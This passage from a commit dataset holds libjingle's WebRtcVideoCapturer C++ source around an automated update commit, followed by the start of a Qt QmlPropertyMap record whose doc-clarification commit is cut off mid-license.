comparing IDs will be more robust.\n  \/\/ TODO(juberti): Figure what's needed to allow this.\n  int num_cams = info->NumberOfDevices();\n  char vcm_id[256] = \"\";\n  bool found = false;\n  for (int index = 0; index < num_cams; ++index) {\n    char vcm_name[256];\n    if (info->GetDeviceName(index, vcm_name, ARRAY_SIZE(vcm_name),\n                            vcm_id, ARRAY_SIZE(vcm_id)) != -1) {\n      if (device.name == reinterpret_cast<char*>(vcm_name)) {\n        found = true;\n        break;\n      }\n    }\n  }\n  if (!found) {\n    LOG(LS_WARNING) << \"Failed to find capturer for id: \" << device.id;\n    factory_->DestroyDeviceInfo(info);\n    return false;\n  }\n\n  \/\/ Enumerate the supported formats.\n  \/\/ TODO(juberti): Find out why this starts\/stops the camera...\n  std::vector<VideoFormat> supported;\n  int32_t num_caps = info->NumberOfCapabilities(vcm_id);\n  for (int32_t i = 0; i < num_caps; ++i) {\n    webrtc::VideoCaptureCapability cap;\n    if (info->GetCapability(vcm_id, i, cap) != -1) {\n      VideoFormat format;\n      if (CapabilityToFormat(cap, &format)) {\n        supported.push_back(format);\n      } else {\n        LOG(LS_WARNING) << \"Ignoring unsupported WebRTC capture format \"\n                        << cap.rawType;\n      }\n    }\n  }\n  factory_->DestroyDeviceInfo(info);\n\/\/ TODO(fischman): Remove the following check\n\/\/ when capabilities for iOS are implemented\n\/\/ https:\/\/code.google.com\/p\/webrtc\/issues\/detail?id=2968\n#if !defined(IOS)\n  if (supported.empty()) {\n    LOG(LS_ERROR) << \"Failed to find usable formats for id: \" << device.id;\n    return false;\n  }\n#endif\n  module_ = factory_->Create(0, vcm_id);\n  if (!module_) {\n    LOG(LS_ERROR) << \"Failed to create capturer for id: \" << device.id;\n    return false;\n  }\n\n  \/\/ It is safe to change member attributes now.\n  module_->AddRef();\n  SetId(device.id);\n  SetSupportedFormats(supported);\n  return true;\n}\n\nbool WebRtcVideoCapturer::Init(webrtc::VideoCaptureModule* module) {\n  if (module_) {\n    LOG(LS_ERROR) << \"The capturer is already initialized\";\n    return false;\n  }\n  if (!module) {\n    LOG(LS_ERROR) << \"Invalid VCM supplied\";\n    return false;\n  }\n  \/\/ TODO(juberti): Set id and formats.\n  (module_ = module)->AddRef();\n  return true;\n}\n\nbool WebRtcVideoCapturer::GetBestCaptureFormat(const VideoFormat& desired,\n                                               VideoFormat* best_format) {\n  if (!best_format) {\n    return false;\n  }\n\n  if (!VideoCapturer::GetBestCaptureFormat(desired, best_format)) {\n    \/\/ We maybe using a manually injected VCM which doesn't support enum.\n    \/\/ Use the desired format as the best format.\n    best_format->width = desired.width;\n    best_format->height = desired.height;\n    best_format->fourcc = FOURCC_I420;\n    best_format->interval = desired.interval;\n    LOG(LS_INFO) << \"Failed to find best capture format,\"\n                 << \" fall back to the requested format \"\n                 << best_format->ToString();\n  }\n  return true;\n}\n\nCaptureState WebRtcVideoCapturer::Start(const VideoFormat& capture_format) {\n  if (!module_) {\n    LOG(LS_ERROR) << \"The capturer has not been initialized\";\n    return CS_NO_DEVICE;\n  }\n\n  talk_base::CritScope cs(&critical_section_stopping_);\n  \/\/ TODO(hellner): weird to return failure when it is in fact actually running.\n  if (IsRunning()) {\n    LOG(LS_ERROR) << \"The capturer is already running\";\n    return CS_FAILED;\n  }\n\n  SetCaptureFormat(&capture_format);\n\n  webrtc::VideoCaptureCapability cap;\n  if (!FormatToCapability(capture_format, &cap)) {\n    LOG(LS_ERROR) << \"Invalid capture format specified\";\n    return CS_FAILED;\n  }\n\n  std::string camera_id(GetId());\n  uint32 start = talk_base::Time();\n  module_->RegisterCaptureDataCallback(*this);\n  if (module_->StartCapture(cap) != 0) {\n    LOG(LS_ERROR) << \"Camera '\" << camera_id << \"' failed to start\";\n    return CS_FAILED;\n  }\n\n  LOG(LS_INFO) << \"Camera '\" << camera_id << \"' started with format \"\n               << capture_format.ToString() << \", elapsed time \"\n               << talk_base::TimeSince(start) << \" ms\";\n\n  captured_frames_ = 0;\n  SetCaptureState(CS_RUNNING);\n  return CS_STARTING;\n}\n\n\/\/ Critical section blocks Stop from shutting down during callbacks from capture\n\/\/ thread to OnIncomingCapturedFrame. Note that the crit is try-locked in\n\/\/ OnFrameCaptured, as the lock ordering between this and the system component\n\/\/ controlling the camera is reversed: system frame -> OnIncomingCapturedFrame;\n\/\/ Stop -> system stop camera).\nvoid WebRtcVideoCapturer::Stop() {\n  talk_base::CritScope cs(&critical_section_stopping_);\n  if (IsRunning()) {\n    talk_base::Thread::Current()->Clear(this);\n    module_->StopCapture();\n    module_->DeRegisterCaptureDataCallback();\n\n    \/\/ TODO(juberti): Determine if the VCM exposes any drop stats we can use.\n    double drop_ratio = 0.0;\n    std::string camera_id(GetId());\n    LOG(LS_INFO) << \"Camera '\" << camera_id << \"' stopped after capturing \"\n                 << captured_frames_ << \" frames and dropping \"\n                 << drop_ratio << \"%\";\n  }\n  SetCaptureFormat(NULL);\n}\n\nbool WebRtcVideoCapturer::IsRunning() {\n  return (module_ != NULL && module_->CaptureStarted());\n}\n\nbool WebRtcVideoCapturer::GetPreferredFourccs(\n    std::vector<uint32>* fourccs) {\n  if (!fourccs) {\n    return false;\n  }\n\n  fourccs->clear();\n  for (size_t i = 0; i < ARRAY_SIZE(kSupportedFourCCs); ++i) {\n    fourccs->push_back(kSupportedFourCCs[i].fourcc);\n  }\n  return true;\n}\n\nvoid WebRtcVideoCapturer::OnIncomingCapturedFrame(const int32_t id,\n    webrtc::I420VideoFrame& sample) {\n  \/\/ This would be a normal CritScope, except that it's possible that:\n  \/\/ (1) whatever system component producing this frame has taken a lock, and\n  \/\/ (2) Stop() probably calls back into that system component, which may take\n  \/\/ the same lock. Due to the reversed order, we have to try-lock in order to\n  \/\/ avoid a potential deadlock. Besides, if we can't enter because we're\n  \/\/ stopping, we may as well drop the frame.\n  talk_base::TryCritScope cs(&critical_section_stopping_);\n  if (!cs.locked() || !IsRunning()) {\n    \/\/ Capturer has been stopped or is in the process of stopping.\n    return;\n  }\n\n  ++captured_frames_;\n  \/\/ Log the size and pixel aspect ratio of the first captured frame.\n  if (1 == captured_frames_) {\n    LOG(LS_INFO) << \"Captured frame size \"\n                 << sample.width() << \"x\" << sample.height()\n                 << \". Expected format \" << GetCaptureFormat()->ToString();\n  }\n\n  \/\/ Signal down stream components on captured frame.\n  \/\/ The CapturedFrame class doesn't support planes. We have to ExtractBuffer\n  \/\/ to one block for it.\n  int length = webrtc::CalcBufferSize(webrtc::kI420,\n                                      sample.width(), sample.height());\n  capture_buffer_.resize(length);\n  \/\/ TODO(ronghuawu): Refactor the WebRtcCapturedFrame to avoid memory copy.\n  webrtc::ExtractBuffer(sample, length, &capture_buffer_[0]);\n  WebRtcCapturedFrame frame(sample, &capture_buffer_[0], length);\n  SignalFrameCaptured(this, &frame);\n}\n\nvoid WebRtcVideoCapturer::OnCaptureDelayChanged(const int32_t id,\n                                                const int32_t delay) {\n  LOG(LS_INFO) << \"Capture delay changed to \" << delay << \" ms\";\n}\n\n\/\/ WebRtcCapturedFrame\nWebRtcCapturedFrame::WebRtcCapturedFrame(const webrtc::I420VideoFrame& sample,\n                                         void* buffer,\n                                         int length) {\n  width = sample.width();\n  height = sample.height();\n  fourcc = FOURCC_I420;\n  \/\/ TODO(hellner): Support pixel aspect ratio (for OSX).\n  pixel_width = 1;\n  pixel_height = 1;\n  \/\/ Convert units from VideoFrame RenderTimeMs to CapturedFrame (nanoseconds).\n  elapsed_time = sample.render_time_ms() * talk_base::kNumNanosecsPerMillisec;\n  time_stamp = elapsed_time;\n  data_size = length;\n  data = buffer;\n}\n\n}  \/\/ namespace cricket\n\n#endif  \/\/ HAVE_WEBRTC_VIDEO\n<commit_msg>(Auto)update libjingle 71599033-> 71605904<commit_after>\/\/ libjingle\n\/\/ Copyright 2011 Google Inc.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/  1. Redistributions of source code must retain the above copyright notice,\n\/\/     this list of conditions and the following disclaimer.\n\/\/  2. Redistributions in binary form must reproduce the above copyright notice,\n\/\/     this list of conditions and the following disclaimer in the documentation\n\/\/     and\/or other materials provided with the distribution.\n\/\/  3. The name of the author may not be used to endorse or promote products\n\/\/     derived from this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED\n\/\/ WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n\/\/ MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO\n\/\/ EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/ PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;\n\/\/ OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n\/\/ WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n\/\/ OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n\/\/ ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/ Implementation of class WebRtcVideoCapturer.\n\n#include \"talk\/media\/webrtc\/webrtcvideocapturer.h\"\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#ifdef HAVE_WEBRTC_VIDEO\n#include \"talk\/base\/criticalsection.h\"\n#include \"talk\/base\/logging.h\"\n#include \"talk\/base\/thread.h\"\n#include \"talk\/base\/timeutils.h\"\n#include \"talk\/media\/webrtc\/webrtcvideoframe.h\"\n\n#include \"talk\/base\/win32.h\"  \/\/ Need this to #include the impl files.\n#include \"webrtc\/modules\/video_capture\/include\/video_capture_factory.h\"\n\nnamespace cricket {\n\nstruct kVideoFourCCEntry {\n  uint32 fourcc;\n  webrtc::RawVideoType webrtc_type;\n};\n\n\/\/ This indicates our format preferences and defines a mapping between\n\/\/ webrtc::RawVideoType (from video_capture_defines.h) to our FOURCCs.\nstatic kVideoFourCCEntry kSupportedFourCCs[] = {\n  { FOURCC_I420, webrtc::kVideoI420 },   \/\/ 12 bpp, no conversion.\n  { FOURCC_YV12, webrtc::kVideoYV12 },   \/\/ 12 bpp, no conversion.\n  { FOURCC_YUY2, webrtc::kVideoYUY2 },   \/\/ 16 bpp, fast conversion.\n  { FOURCC_UYVY, webrtc::kVideoUYVY },   \/\/ 16 bpp, fast conversion.\n  { FOURCC_NV12, webrtc::kVideoNV12 },   \/\/ 12 bpp, fast conversion.\n  { FOURCC_NV21, webrtc::kVideoNV21 },   \/\/ 12 bpp, fast conversion.\n  { FOURCC_MJPG, webrtc::kVideoMJPEG },  \/\/ compressed, slow conversion.\n  { FOURCC_ARGB, webrtc::kVideoARGB },   \/\/ 32 bpp, slow conversion.\n  { FOURCC_24BG, webrtc::kVideoRGB24 },  \/\/ 24 bpp, slow conversion.\n};\n\nclass WebRtcVcmFactory : public WebRtcVcmFactoryInterface {\n public:\n  virtual webrtc::VideoCaptureModule* Create(int id, const char* device) {\n    return webrtc::VideoCaptureFactory::Create(id, device);\n  }\n  virtual webrtc::VideoCaptureModule::DeviceInfo* CreateDeviceInfo(int id) {\n    return webrtc::VideoCaptureFactory::CreateDeviceInfo(id);\n  }\n  virtual void DestroyDeviceInfo(webrtc::VideoCaptureModule::DeviceInfo* info) {\n    delete info;\n  }\n};\n\nstatic bool CapabilityToFormat(const webrtc::VideoCaptureCapability& cap,\n                               VideoFormat* format) {\n  uint32 fourcc = 0;\n  for (size_t i = 0; i < ARRAY_SIZE(kSupportedFourCCs); ++i) {\n    if (kSupportedFourCCs[i].webrtc_type == cap.rawType) {\n      fourcc = kSupportedFourCCs[i].fourcc;\n      break;\n    }\n  }\n  if (fourcc == 0) {\n    return false;\n  }\n\n  format->fourcc = fourcc;\n  format->width = cap.width;\n  format->height = cap.height;\n  format->interval = VideoFormat::FpsToInterval(cap.maxFPS);\n  return true;\n}\n\nstatic bool FormatToCapability(const VideoFormat& format,\n                               webrtc::VideoCaptureCapability* cap) {\n  webrtc::RawVideoType webrtc_type = webrtc::kVideoUnknown;\n  for (size_t i = 0; i < ARRAY_SIZE(kSupportedFourCCs); ++i) {\n    if (kSupportedFourCCs[i].fourcc == format.fourcc) {\n      webrtc_type = kSupportedFourCCs[i].webrtc_type;\n      break;\n    }\n  }\n  if (webrtc_type == webrtc::kVideoUnknown) {\n    return false;\n  }\n\n  cap->width = format.width;\n  cap->height = format.height;\n  cap->maxFPS = VideoFormat::IntervalToFps(format.interval);\n  cap->expectedCaptureDelay = 0;\n  cap->rawType = webrtc_type;\n  cap->codecType = webrtc::kVideoCodecUnknown;\n  cap->interlaced = false;\n  return true;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Implementation of class WebRtcVideoCapturer\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nWebRtcVideoCapturer::WebRtcVideoCapturer()\n    : factory_(new WebRtcVcmFactory),\n      module_(NULL),\n      captured_frames_(0) {\n}\n\nWebRtcVideoCapturer::WebRtcVideoCapturer(WebRtcVcmFactoryInterface* factory)\n    : factory_(factory),\n      module_(NULL),\n      captured_frames_(0) {\n}\n\nWebRtcVideoCapturer::~WebRtcVideoCapturer() {\n  if (module_) {\n    module_->Release();\n  }\n}\n\nbool WebRtcVideoCapturer::Init(const Device& device) {\n  if (module_) {\n    LOG(LS_ERROR) << \"The capturer is already initialized\";\n    return false;\n  }\n\n  webrtc::VideoCaptureModule::DeviceInfo* info = factory_->CreateDeviceInfo(0);\n  if (!info) {\n    return false;\n  }\n\n  \/\/ Find the desired camera, by name.\n  \/\/ In the future, comparing IDs will be more robust.\n  \/\/ TODO(juberti): Figure what's needed to allow this.\n  int num_cams = info->NumberOfDevices();\n  char vcm_id[256] = \"\";\n  bool found = false;\n  for (int index = 0; index < num_cams; ++index) {\n    char vcm_name[256];\n    if (info->GetDeviceName(index, vcm_name, ARRAY_SIZE(vcm_name),\n                            vcm_id, ARRAY_SIZE(vcm_id)) != -1) {\n      if (device.name == reinterpret_cast<char*>(vcm_name)) {\n        found = true;\n        break;\n      }\n    }\n  }\n  if (!found) {\n    LOG(LS_WARNING) << \"Failed to find capturer for id: \" << device.id;\n    factory_->DestroyDeviceInfo(info);\n    return false;\n  }\n\n  \/\/ Enumerate the supported formats.\n  \/\/ TODO(juberti): Find out why this starts\/stops the camera...\n  std::vector<VideoFormat> supported;\n  int32_t num_caps = info->NumberOfCapabilities(vcm_id);\n  for (int32_t i = 0; i < num_caps; ++i) {\n    webrtc::VideoCaptureCapability cap;\n    if (info->GetCapability(vcm_id, i, cap) != -1) {\n      VideoFormat format;\n      if (CapabilityToFormat(cap, &format)) {\n        supported.push_back(format);\n      } else {\n        LOG(LS_WARNING) << \"Ignoring unsupported WebRTC capture format \"\n                        << cap.rawType;\n      }\n    }\n  }\n  factory_->DestroyDeviceInfo(info);\n\/\/ TODO(fischman): Remove the following check\n\/\/ when capabilities for iOS are implemented\n\/\/ https:\/\/code.google.com\/p\/webrtc\/issues\/detail?id=2968\n#if !defined(IOS)\n  if (supported.empty()) {\n    LOG(LS_ERROR) << \"Failed to find usable formats for id: \" << device.id;\n    return false;\n  }\n#endif\n  module_ = factory_->Create(0, vcm_id);\n  if (!module_) {\n    LOG(LS_ERROR) << \"Failed to create capturer for id: \" << device.id;\n    return false;\n  }\n\n  \/\/ It is safe to change member attributes now.\n  module_->AddRef();\n  SetId(device.id);\n  SetSupportedFormats(supported);\n  return true;\n}\n\nbool WebRtcVideoCapturer::Init(webrtc::VideoCaptureModule* module) {\n  if (module_) {\n    LOG(LS_ERROR) << \"The capturer is already initialized\";\n    return false;\n  }\n  if (!module) {\n    LOG(LS_ERROR) << \"Invalid VCM supplied\";\n    return false;\n  }\n  \/\/ TODO(juberti): Set id and formats.\n  (module_ = module)->AddRef();\n  return true;\n}\n\nbool WebRtcVideoCapturer::GetBestCaptureFormat(const VideoFormat& desired,\n                                               VideoFormat* best_format) {\n  if (!best_format) {\n    return false;\n  }\n\n  if (!VideoCapturer::GetBestCaptureFormat(desired, best_format)) {\n    \/\/ We maybe using a manually injected VCM which doesn't support enum.\n    \/\/ Use the desired format as the best format.\n    best_format->width = desired.width;\n    best_format->height = desired.height;\n    best_format->fourcc = FOURCC_I420;\n    best_format->interval = desired.interval;\n    LOG(LS_INFO) << \"Failed to find best capture format,\"\n                 << \" fall back to the requested format \"\n                 << best_format->ToString();\n  }\n  return true;\n}\n\nCaptureState WebRtcVideoCapturer::Start(const VideoFormat& capture_format) {\n  if (!module_) {\n    LOG(LS_ERROR) << \"The capturer has not been initialized\";\n    return CS_NO_DEVICE;\n  }\n\n  talk_base::CritScope cs(&critical_section_stopping_);\n  \/\/ TODO(hellner): weird to return failure when it is in fact actually running.\n  if (IsRunning()) {\n    LOG(LS_ERROR) << \"The capturer is already running\";\n    return CS_FAILED;\n  }\n\n  SetCaptureFormat(&capture_format);\n\n  webrtc::VideoCaptureCapability cap;\n  if (!FormatToCapability(capture_format, &cap)) {\n    LOG(LS_ERROR) << \"Invalid capture format specified\";\n    return CS_FAILED;\n  }\n\n  std::string camera_id(GetId());\n  uint32 start = talk_base::Time();\n  module_->RegisterCaptureDataCallback(*this);\n  if (module_->StartCapture(cap) != 0) {\n    LOG(LS_ERROR) << \"Camera '\" << camera_id << \"' failed to start\";\n    return CS_FAILED;\n  }\n\n  LOG(LS_INFO) << \"Camera '\" << camera_id << \"' started with format \"\n               << capture_format.ToString() << \", elapsed time \"\n               << talk_base::TimeSince(start) << \" ms\";\n\n  captured_frames_ = 0;\n  SetCaptureState(CS_RUNNING);\n  return CS_STARTING;\n}\n\n\/\/ Critical section blocks Stop from shutting down during callbacks from capture\n\/\/ thread to OnIncomingCapturedFrame. Note that the crit is try-locked in\n\/\/ OnFrameCaptured, as the lock ordering between this and the system component\n\/\/ controlling the camera is reversed: system frame -> OnIncomingCapturedFrame;\n\/\/ Stop -> system stop camera).\nvoid WebRtcVideoCapturer::Stop() {\n  talk_base::CritScope cs(&critical_section_stopping_);\n  if (IsRunning()) {\n    talk_base::Thread::Current()->Clear(this);\n    module_->StopCapture();\n    module_->DeRegisterCaptureDataCallback();\n\n    \/\/ TODO(juberti): Determine if the VCM exposes any drop stats we can use.\n    double drop_ratio = 0.0;\n    std::string camera_id(GetId());\n    LOG(LS_INFO) << \"Camera '\" << camera_id << \"' stopped after capturing \"\n                 << captured_frames_ << \" frames and dropping \"\n                 << drop_ratio << \"%\";\n  }\n  SetCaptureFormat(NULL);\n}\n\nbool WebRtcVideoCapturer::IsRunning() {\n  return (module_ != NULL && module_->CaptureStarted());\n}\n\nbool WebRtcVideoCapturer::GetPreferredFourccs(\n    std::vector<uint32>* fourccs) {\n  if (!fourccs) {\n    return false;\n  }\n\n  fourccs->clear();\n  for (size_t i = 0; i < ARRAY_SIZE(kSupportedFourCCs); ++i) {\n    fourccs->push_back(kSupportedFourCCs[i].fourcc);\n  }\n  return true;\n}\n\nvoid WebRtcVideoCapturer::OnIncomingCapturedFrame(const int32_t id,\n    webrtc::I420VideoFrame& sample) {\n  \/\/ This would be a normal CritScope, except that it's possible that:\n  \/\/ (1) whatever system component producing this frame has taken a lock, and\n  \/\/ (2) Stop() probably calls back into that system component, which may take\n  \/\/ the same lock. Due to the reversed order, we have to try-lock in order to\n  \/\/ avoid a potential deadlock. Besides, if we can't enter because we're\n  \/\/ stopping, we may as well drop the frame.\n  talk_base::TryCritScope cs(&critical_section_stopping_);\n  if (!cs.locked() || !IsRunning()) {\n    \/\/ Capturer has been stopped or is in the process of stopping.\n    return;\n  }\n\n  ++captured_frames_;\n  \/\/ Log the size and pixel aspect ratio of the first captured frame.\n  if (1 == captured_frames_) {\n    LOG(LS_INFO) << \"Captured frame size \"\n                 << sample.width() << \"x\" << sample.height()\n                 << \". Expected format \" << GetCaptureFormat()->ToString();\n  }\n\n  \/\/ Signal down stream components on captured frame.\n  \/\/ The CapturedFrame class doesn't support planes. We have to ExtractBuffer\n  \/\/ to one block for it.\n  int length = webrtc::CalcBufferSize(webrtc::kI420,\n                                      sample.width(), sample.height());\n  capture_buffer_.resize(length);\n  \/\/ TODO(ronghuawu): Refactor the WebRtcCapturedFrame to avoid memory copy.\n  webrtc::ExtractBuffer(sample, length, &capture_buffer_[0]);\n  WebRtcCapturedFrame frame(sample, &capture_buffer_[0], length);\n  SignalFrameCaptured(this, &frame);\n}\n\nvoid WebRtcVideoCapturer::OnCaptureDelayChanged(const int32_t id,\n                                                const int32_t delay) {\n  LOG(LS_INFO) << \"Capture delay changed to \" << delay << \" ms\";\n}\n\n\/\/ WebRtcCapturedFrame\nWebRtcCapturedFrame::WebRtcCapturedFrame(const webrtc::I420VideoFrame& sample,\n                                         void* buffer,\n                                         int length) {\n  width = sample.width();\n  height = sample.height();\n  fourcc = FOURCC_I420;\n  \/\/ TODO(hellner): Support pixel aspect ratio (for OSX).\n  pixel_width = 1;\n  pixel_height = 1;\n  \/\/ Convert units from VideoFrame RenderTimeMs to CapturedFrame (nanoseconds).\n  elapsed_time = sample.render_time_ms() * talk_base::kNumNanosecsPerMillisec;\n  time_stamp = elapsed_time;\n  data_size = length;\n  data = buffer;\n}\n\n}  \/\/ namespace cricket\n\n#endif  \/\/ HAVE_WEBRTC_VIDEO\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the QtDeclarative module of the Qt Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights.  These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include \"qmlpropertymap.h\"\n\n#include \"qmlopenmetaobject_p.h\"\n\n#include <QDebug>\n\nQT_BEGIN_NAMESPACE\n\n\/\/QmlPropertyMapMetaObject lets us listen for changes coming from QML\n\/\/so we can emit the changed signal.\nclass QmlPropertyMapMetaObject : public QmlOpenMetaObject\n{\npublic:\n    QmlPropertyMapMetaObject(QmlPropertyMap *obj, QmlPropertyMapPrivate *objPriv);\n\nprotected:\n    virtual void propertyWrite(int index);\n\nprivate:\n    QmlPropertyMap *map;\n    QmlPropertyMapPrivate *priv;\n};\n\nclass QmlPropertyMapPrivate : public QObjectPrivate\n{\n    Q_DECLARE_PUBLIC(QmlPropertyMap)\npublic:\n    QmlPropertyMapMetaObject *mo;\n    QStringList keys;\n    void emitChanged(const QString &key);\n};\n\nvoid QmlPropertyMapPrivate::emitChanged(const QString &key)\n{\n    Q_Q(QmlPropertyMap);\n    emit q->valueChanged(key);\n}\n\nQmlPropertyMapMetaObject::QmlPropertyMapMetaObject(QmlPropertyMap *obj, QmlPropertyMapPrivate *objPriv) : QmlOpenMetaObject(obj)\n{\n    map = obj;\n    priv = objPriv;\n}\n\nvoid QmlPropertyMapMetaObject::propertyWrite(int index)\n{\n    priv->emitChanged(QString::fromUtf8(name(index)));\n}\n\n\/*!\n    \\class QmlPropertyMap\n    \\brief The QmlPropertyMap class allows you to set key-value pairs that can be used in bindings.\n\n    QmlPropertyMap provides a convenient way to expose domain data to the UI layer.\n    The following example shows how you might declare data in C++ and then\n    access it in QML.\n\n    Setup in C++:\n    \\code\n    \/\/create our data\n    QmlPropertyMap ownerData;\n    ownerData.insert(\"name\", QVariant(QString(\"John Smith\")));\n    ownerData.insert(\"phone\", QVariant(QString(\"555-5555\")));\n\n    \/\/expose it to the UI layer\n    QmlContext *ctxt = view->bindContext();\n    ctxt->setProperty(\"owner\", &data);\n    \\endcode\n\n    Then, in QML:\n    \\code\n    Text { text: owner.name }\n    Text { text: owner.phone }\n    \\endcode\n\n    The binding is dynamic - whenever a key's value is updated, anything bound to that\n    key will be updated as well.\n\n    To detect value changes made in the UI layer you can connect to the valueChanged() signal.\n    However, note that valueChanged() is \\b NOT emitted when changes are made by calling insert()\n    or clear() - it is only emitted when a value is updated from QML.\n\n    \\note It is not possible to remove keys from the map; once a key has been added, you can only\n    modify or clear its associated value.\n*\/\n\n\/*!\n    Constructs a bindable map with parent object \\a parent.\n*\/\nQmlPropertyMap::QmlPropertyMap(QObject *parent)\n: QObject(*(new QmlPropertyMapPrivate), parent)\n{\n    Q_D(QmlPropertyMap);\n    d->mo = new QmlPropertyMapMetaObject(this, d);\n}\n\n\/*!\n    Destroys the bindable map.\n*\/\nQmlPropertyMap::~QmlPropertyMap()\n{\n}\n\n\/*!\n    Clears the value (if any) associated with \\a key.\n*\/\nvoid QmlPropertyMap::clear(const QString &key)\n{\n    Q_D(QmlPropertyMap);\n    d->mo->setValue(key.toUtf8(), QVariant());\n}\n\n\/*!\n    Returns the value associated with \\a key.\n\n    If no value has been set for this key (or if the value has been cleared),\n    an invalid QVariant is returned.\n*\/\nQVariant QmlPropertyMap::value(const QString &key) const\n{\n    Q_D(const QmlPropertyMap);\n    return d->mo->value(key.toUtf8());\n}\n\n\/*!\n    Sets the value associated with \\a key to \\a value.\n\n    If the key doesn't exist, it is automatically created.\n*\/\nvoid QmlPropertyMap::insert(const QString &key, const QVariant &value)\n{\n    Q_D(QmlPropertyMap);\n    if (!d->keys.contains(key))\n        d->keys.append(key);\n    d->mo->setValue(key.toUtf8(), value);\n}\n\n\/*!\n    Returns the list of keys.\n\n    Keys that have been cleared will still appear in this list, even though their\n    associated values are invalid QVariants.\n*\/\nQStringList QmlPropertyMap::keys() const\n{\n    Q_D(const QmlPropertyMap);\n    return d->keys;\n}\n\n\/*!\n    \\overload\n\n    Same as size().\n*\/\nint QmlPropertyMap::count() const\n{\n    Q_D(const QmlPropertyMap);\n    return d->keys.count();\n}\n\n\/*!\n    Returns the number of keys in the map.\n\n    \\sa isEmpty(), count()\n*\/\nint QmlPropertyMap::size() const\n{\n    Q_D(const QmlPropertyMap);\n    return d->keys.size();\n}\n\n\/*!\n    Returns true if the map contains no keys; otherwise returns\n    false.\n\n    \\sa size()\n*\/\nbool QmlPropertyMap::isEmpty() const\n{\n    Q_D(const QmlPropertyMap);\n    return d->keys.isEmpty();\n}\n\n\/*!\n    Returns true if the map contains \\a key.\n\n    \\sa size()\n*\/\nbool QmlPropertyMap::contains(const QString &key) const\n{\n    Q_D(const QmlPropertyMap);\n    return d->keys.contains(key);\n}\n\n\/*!\n    Returns the value associated with the key \\a key as a modifiable\n    reference.\n\n    If the map contains no item with key \\a key, the function inserts\n    an invalid QVariant into the map with key \\a key, and\n    returns a reference to it.\n\n    \\sa insert(), value()\n*\/\nQVariant &QmlPropertyMap::operator[](const QString &key)\n{\n    \/\/### optimize\n    Q_D(QmlPropertyMap);\n    QByteArray utf8key = key.toUtf8();\n    if (!d->keys.contains(key)) {\n        d->keys.append(key);\n        d->mo->setValue(utf8key, QVariant());   \/\/force creation -- needed below\n    }\n\n    return (*(d->mo))[utf8key];\n}\n\n\/*!\n    \\overload\n\n    Same as value().\n*\/\nconst QVariant QmlPropertyMap::operator[](const QString &key) const\n{\n    return value(key);\n}\n\n\/*!\n    \\fn void QmlPropertyMap::valueChanged(const QString &key)\n    This signal is emitted whenever one of the values in the map is changed. \\a key\n    is the key corresponding to the value that was changed.\n*\/\n\nQT_END_NAMESPACE\n<commit_msg>Clarify QmlPropertyMap::valueChanged docs.<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the QtDeclarative module of the Qt Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain 